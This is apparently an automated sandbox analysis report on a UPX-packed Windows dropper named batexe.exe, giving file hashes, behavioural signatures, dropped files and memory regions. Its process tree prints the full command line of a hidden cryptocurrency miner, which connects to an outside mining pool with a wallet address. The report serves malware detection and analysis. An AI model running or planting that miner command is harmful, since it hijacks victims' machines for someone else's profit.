Analysis

  • max time kernel
    293s
  • max time network
    301s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    11-02-2024 17:00

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5104
    • C:\Users\Admin\AppData\Local\Temp\6EC7.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\6EC7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6EC7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1464
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\71D4.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3512
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3224

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\6EC7.tmp\b2e.exe

    Filesize

    17.4MB

    MD5

    422f8002f81d0a60fe005ed49810dff9

    SHA1

    e52359c01ee24077ef817a10c05f14f82ba01af4

    SHA256

    76ca221500b8d32b6c30ff03ff8f7ebd2de41eaa1fbdeebadd13dad54f3b55c8

    SHA512

    3b404430ded51ca17500f2cda3584d9e77d5c0be272c45fb7ff24ad8250e1f4b3237dbfc41fe8621b10df641ea462e2ee3c9335aaadc89635bfd3cd974237b65

  • C:\Users\Admin\AppData\Local\Temp\6EC7.tmp\b2e.exe

    Filesize

    6.8MB

    MD5

    7e306719ab1c3ad37e9fced281085f72

    SHA1

    17021bf7ed2590e63c507a196b9e91910e89943f

    SHA256

    0f2f608f9fa19607d0e26aa78f018c42d383239c777dfdb32b890971cccf25f3

    SHA512

    424dcad7b45177a1859e02c2466bfe8d749d344dff8576b8ac4d6c1d29916d5970dbc981329cfc50afce3cf0687fd36846a750663cd9b9a679bf2f05f1a66598

  • C:\Users\Admin\AppData\Local\Temp\6EC7.tmp\b2e.exe

    Filesize

    6.9MB

    MD5

    47dfc99e11dd5b6365fe0668600b82b7

    SHA1

    e7b63faab201e894f2fac11adeb394acb4291790

    SHA256

    900cf6184b715c3d6283e1fb48a7547b38520b7d059a0ab93762f57013832133

    SHA512

    d6deef8898a9b0023721d52190f6a9699d4db46765259ea287a0674223e8a503cbab8233c76426459c2d3d2af6dd4c1f14ebebb8d8d691a979a084fca85e22b9

  • C:\Users\Admin\AppData\Local\Temp\71D4.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.0MB

    MD5

    dae626b11af46c392130819340f83070

    SHA1

    c8369936c56ce9d87bbfe04479a03c7071d69faf

    SHA256

    52bbc8f1efd0e82809c29ec0f95475379c4d31e371fded64ac3335924d005e06

    SHA512

    cb070364194431c42640741534cc718517cf9276eddcc8968701874b32bc6a3ce2a0a39c54ba48b1d76131a37d73ae33213f487abfba478b95574490bb8f8d20

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.6MB

    MD5

    cf8901f3ca3c3c51f95e159afba4dbd3

    SHA1

    76d8ce08d51a22cef486cd884db7ec1603571261

    SHA256

    2e05f281848a648a55f18915a773e19f88869d0b3e4c9841b5da7a2ba2d3d2d1

    SHA512

    104940827f7e7ac7695ed9886caab370b362b84cf3a8a185b94cdc5c75a90197cc89e7017d257d0888830f57a16ce65c86ee55f28b3400ff0f396c2f80e7e762

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.5MB

    MD5

    56e9fc62d257c784042d98fa553cf09d

    SHA1

    611533c8dfaa859c0cd3b51b3cb31e9f7c294f03

    SHA256

    ad0ee74b6a3266083eeacb2155e5abdf3ca8cd76bf55be5b80483be7657fec25

    SHA512

    050e70999181b8d1e936d7846c3201f33496b4f49ace223206e23aec17804cdccf62794f404c1d2e1b551c07c180e307fd6268ff4b322054c543de4a96d6f522

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.4MB

    MD5

    84d4f366a49cf3a2d40974fbaf1ae916

    SHA1

    f106aeea661e23248be8a7f603d5eaffbacfa511

    SHA256

    c4132c41cf1b942ab91d9eb97f932c8f4f5b4aaa626843b68c0b3fa8f77ebc6b

    SHA512

    4ec22ef489760aa78c35ad39d0d47263993fc10cd82a01bce70e344a045767aa2ef9da819e73ef5682fe2689787c7a5c419b3e15ac871282030bfa665930888b

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.2MB

    MD5

    fa640bc95a5c7d55f8a0c1ad1b7c99ad

    SHA1

    d441a00368e324e72af9737adce3bc5946614581

    SHA256

    aa1559766dca7a103b10b26e59245cbb2109e5669625849e8a9892bac7d795c5

    SHA512

    b701caad77def86fffc065005d8c788d49bc0ae5dfb64a968867d9f94fe3d2e9120ae90e4af8b12dd590e753fe08dadb2f38eb46909a54aa0b13a515f51fa37c

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1464-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1464-8-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3224-44-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3224-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-45-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/3224-46-0x0000000065110000-0x00000000651A8000-memory.dmp

    Filesize

    608KB

  • memory/3224-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

    Filesize

    24.7MB

  • memory/3224-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3224-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5104-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB